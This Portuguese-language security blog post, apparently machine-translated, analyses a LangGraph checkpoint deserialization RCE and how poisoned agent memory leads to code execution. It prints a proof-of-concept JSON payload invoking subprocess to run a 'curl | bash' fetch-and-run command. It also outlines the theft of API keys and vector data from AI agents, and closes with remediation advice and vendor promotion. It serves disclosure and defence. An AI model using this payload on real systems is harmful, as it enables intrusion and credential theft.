Envenenamento de memória: Análise forense do CVE-2025-64439 (LangGraph RCE) e a fragilidade do estado autêntico

Uma autópsia técnica do CVE-2025-64439 (CVSS 9.8), um RCE crítico no serializador de pontos de verificação do LangGraph. Analisamos a falha lógica de desserialização do JSON, a cadeia de eliminação para envenenar a memória do agente de IA e as estratégias de defesa orientadas por IA.

Na evolução arquitetônica de 2026, IA agêntica passou de notebooks Jupyter experimentais para uma infraestrutura empresarial de missão crítica. Estruturas como LangGraph tornaram-se a espinha dorsal desses sistemas, permitindo que os desenvolvedores criem aplicativos com estado e com vários atores que podem pausar, retomar e iterar em tarefas complexas.

No entanto, a divulgação de CVE-2025-64439 (Pontuação CVSS 9.8Critical) expõe uma vulnerabilidade catastrófica no próprio mecanismo que torna esses agentes "inteligentes": sua memória de longo prazo.

Essa não é uma vulnerabilidade típica da Web. Trata-se de uma opção nuclear da cadeia de suprimentos visando a camada de persistência da IA. A falha reside na camada ponto de verificação do gráfico biblioteca - especificamente em como a JsonPlusSerializer lida com a recuperação de dados. Ao explorar isso, os invasores podem injetar cargas JSON mal-intencionadas no armazenamento de estado de um agente (por exemplo, SQLite, Postgres), acionando Execução remota de código (RCE) o momento em que o sistema tenta "lembrar" um estado anterior para retomar um fluxo de trabalho.

Para o engenheiro de segurança de IA mais exigente, a implicação é clara: O "Estado" é a nova "Entrada". Se um invasor puder influenciar o histórico serializado de um agente, ele poderá executar um código arbitrário no servidor de inferência. Este artigo analisa o código-fonte para revelar a mecânica dessa cadeia de destruição "Memory Poisoning".

Cartão de inteligência de vulnerabilidade

Mergulho técnico profundo: O JsonPlusSerializer Armadilha

Para entender o CVE-2025-64439, é preciso entender como o LangGraph lida com a persistência. Ao contrário de uma chamada LLM sem estado, um agente precisa salvar seus valores de pilha - variáveis, histórico de conversas e etapas de execução - para que possa ser retomado posteriormente. Isso é tratado por Pontos de controle.

O LangGraph tenta usar msgpack para maior eficiência. No entanto, como os objetos Python em fluxos de trabalho de IA geralmente são complexos (classes personalizadas, modelos Pydantic), ele implementa um mecanismo de fallback robusto: Modo JSON, gerenciado por JsonPlusSerializer.

1. A lógica fatal do "Construtor"

A vulnerabilidade não está no uso do JSON, mas no como O LangGraph estende o JSON para oferecer suporte a tipos Python complexos. Para reconstruir um objeto Python a partir do JSON, o serializador procura um esquema específico que contenha "chaves mágicas":

• lc: O identificador de versão do LangChain/LangGraph (por exemplo, 2).
• tipo: O tipo de objeto (especificamente a string "construtor").
• id: Uma lista que representa o caminho do módulo para a classe ou função.
• kwargs: Argumentos a serem passados para esse construtor.

A falha: Nas versões afetadas, o desserializador confia no id implicitamente. Ele não valida se o módulo especificado é um componente LangGraph "seguro" ou uma biblioteca de sistema perigosa. Ele importa dinamicamente o módulo e executa o construtor com os argumentos fornecidos.

2. Reconstrução de código forense

Com base na análise de patches, a lógica vulnerável em langgraph/checkpoint/serde/jsonplus.py se assemelha ao seguinte padrão:

Python

# Lógica Vulnerável Simplificada def _load_constructor(value): # DANGEROUS: No allow-list check on 'id' # 'id' vem diretamente do payload JSON module_path = value["id"][:-1] class_name = value["id"][-1]

# Importação dinâmica de QUALQUER módulo
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)

# Execução do construtor
return cls(**value["kwargs"])`

Essa lógica transforma o desserializador em um executor genérico de "Cadeia de Gadgets", semelhante ao infame Java ObjectInputStream mas mais fáceis de explorar porque a carga útil é um JSON legível por humanos.

A cadeia de morte: Envenenamento da memória

Como um invasor realmente coloca esse JSON no sistema? A superfície de ataque é mais ampla do que parece.

Fase 1: Injeção (o veneno)

O invasor precisa gravar no banco de dados onde os pontos de controle são armazenados.

• Cenário A (entrada direta): Se o agente aceitar a entrada do usuário que é armazenada de forma bruta no estado (por exemplo, "Resuma este texto: [MALICIOUS_JSON]") e a lógica de serialização do aplicativo apresentar falhas, a carga útil poderá ser gravada no banco de dados.
• Cenário B (pivô de injeção de SQL): Um invasor usa uma injeção de SQL de baixa gravidade (como a CVE-2025-8709) para modificar o pontos de controle no SQLite/Postgres diretamente, inserindo a carga útil do RCE na tabela thread_ts ou bolha de estado.

Fase 2: armonização (carga útil)

O invasor constrói uma carga útil JSON que imita um objeto LangGraph válido, mas aponta para subprocesso.

Carga útil de PoC de conceito:

JSON

{ "lc": 2, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }

Fase 3: Detonação (o currículo)

O código não é executado imediatamente após a injeção. Ele é executado quando o agente leituras o estado.

1. O usuário (ou atacante) aciona o agente para retomar um thread (por exemplo, "Continuar tarefa anterior").
2. O LangGraph consulta o banco de dados para obter o ponto de verificação mais recente.
3. O JsonPlusSerializer analisa o blob.
4. Ele encontra o construtor tipo.
5. Ele importa subprocesso e executa check_output.
6. RCE alcançado.

Análise de impacto: O roubo de cérebros com IA

O comprometimento do servidor que executa o LangGraph é significativamente mais perigoso do que o comprometimento de um servidor da Web padrão devido à natureza das cargas de trabalho de IA.

1. Coleta de credenciais: Os agentes de IA dependem de variáveis de ambiente para chaves de API (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY). O RCE concede acesso imediato a os.environ.
2. Vector DB Exfiltration: Os agentes geralmente têm acesso de leitura/gravação ao Pinecone, Milvus ou Weaviate. Um invasor pode despejar bases de conhecimento proprietárias (dados RAG).
3. Infecção por modelo de peso: Se o servidor hospedar modelos locais (por exemplo, usando o Ollama), os invasores poderão envenenar os pesos do modelo ou modificar o pipeline de inferência.
4. Movimento lateral: Os agentes LangGraph são projetados para fazer coisaschamar APIs, consultar bancos de dados, enviar e-mails. O invasor herda todas as permissões e ferramentas atribuídas ao Agente.

Defesa orientada por IA: A vantagem da negligência

Detectar o CVE-2025-64439 é um pesadelo para as ferramentas DAST (Dynamic Application Security Testing) antigas.

• Cegueira de protocolo: Os scanners procuram formulários HTML e parâmetros de URL. Eles não entendem os protocolos internos de serialização binária ou JSON usados pelas estruturas de IA do Python.
• Cegueira do Estado: A vulnerabilidade é acionada em lernão escrever. Um scanner pode injetar uma carga útil e não ver nenhum erro imediato, dando falso-negativo ao resultado.

É aqui que Penligent.ai representa uma mudança de paradigma para a segurança de aplicativos de IA. A Penligent utiliza Análise de dependência profunda e fuzzing lógico:

1. Impressão digital de IA de pilha completa

Os agentes da Penligent vão além do congelamento de pip. Eles examinam os contêineres de desenvolvimento e produção para identificar as versões exatas de hash do langgraph, langchain-core e langgraph-checkpoint. Ele reconhece a cadeia de dependência vulnerável mesmo que esteja aninhada em uma imagem do Docker, sinalizando a presença do JsonPlusSerializer sem listas de permissão.

2. Fuzzing do protocolo de serialização

A Penligent entende a "linguagem dos agentes". Ele pode gerar cargas úteis de sondagem específicas contendo marcadores de serialização (como lc=2 e chamadas de construtor benignas).

• Sonda não destrutiva: Em vez de um shell reverso, a Penligent injeta uma carga útil que aciona uma pesquisa de DNS benigna (por exemplo, usando socket.gethostbyname).
• Validação: Se o Penligent OOB listener receber a consulta DNS quando o estado do agente for carregado, a vulnerabilidade será confirmada com certeza 100%.

3. Auditoria de lojas estatais

O Penligent se conecta à camada de persistência (SQLite/Postgres) usada por seus agentes de IA. Ele examina os blobs armazenados em busca de "Dormant Payloads" (estruturas JSON maliciosas que aguardam para serem desserializadas), permitindo que você higienize o banco de dados antes que ocorra um incidente.

Manual de remediação e endurecimento

Se você estiver construindo com o LangGraph, é necessário corrigir imediatamente.

1. Dependências de upgrade (a correção)

Atualização ponto de verificação do gráfico para a versão 3.0.0 ou superior imediatamente.

• Mecanismo: A nova versão remove o suporte padrão para o construtor na serialização JSON ou impõe uma lista de permissões estrita e vazia por padrão. Ele força os desenvolvedores a registrar explicitamente classes seguras para serialização.

2. Limpeza forense de banco de dados

Se você suspeitar que seu sistema foi exposto, não basta corrigir o código; é preciso limpar os dados.

• Ação: Script uma ferramenta para iterar através de seu pontos de controle tabela. Analisar cada blob JSON.
• Assinatura: Procure por {"type": "constructor", "id": ["subprocess", ...]} ou qualquer id apontando para os, sistemaou shutil.
• Purga: Exclua qualquer thread/ponto de verificação que contenha essas assinaturas.

3. Isolamento de rede e tempo de execução

• Filtragem de saída: Os AI Agents não devem ter acesso irrestrito à Internet. Bloqueie conexões de saída para IPs desconhecidos para evitar shells reversos.
• Isolamento do banco de dados: Certifique-se de que o arquivo SQLite ou a instância do Postgres que armazena os pontos de verificação não seja acessível por meio de interfaces públicas.
• Menos privilégio: Execute o serviço Agent com um usuário que não tenha acesso ao shell (/bin/false) e funções de IAM com escopo estrito.

Conclusão

CVE-2025-64439 serve como um alerta para o setor de IA. Estamos criando sistemas cada vez mais autônomos e com estado, mas estamos construindo-os sobre bases frágeis de confiança. A memória de um agente é uma superfície mutável e armável.

À medida que avançamos em direção aos sistemas adjacentes à AGI, a engenharia de segurança deve evoluir. Devemos tratar o "Estado" com a mesma desconfiança que tratamos a "Entrada do usuário". A validação da lógica de serialização, a auditoria de dependências e o emprego de ferramentas de segurança nativas de IA, como a Penligent, não são mais opcionais - são os pré-requisitos para a sobrevivência na era da IA agêntica.

Referências confiáveis

• Aviso de segurança da LangChain/LangGraph: GHSA-wwqv-p2pp-99h5
• Detalhes do NVD do NIST para CVE-2025-64439
• OWASP Top 10 para aplicativos LLM: Projeto de plug-in inseguro
• Segurança do Python: Riscos de desserialização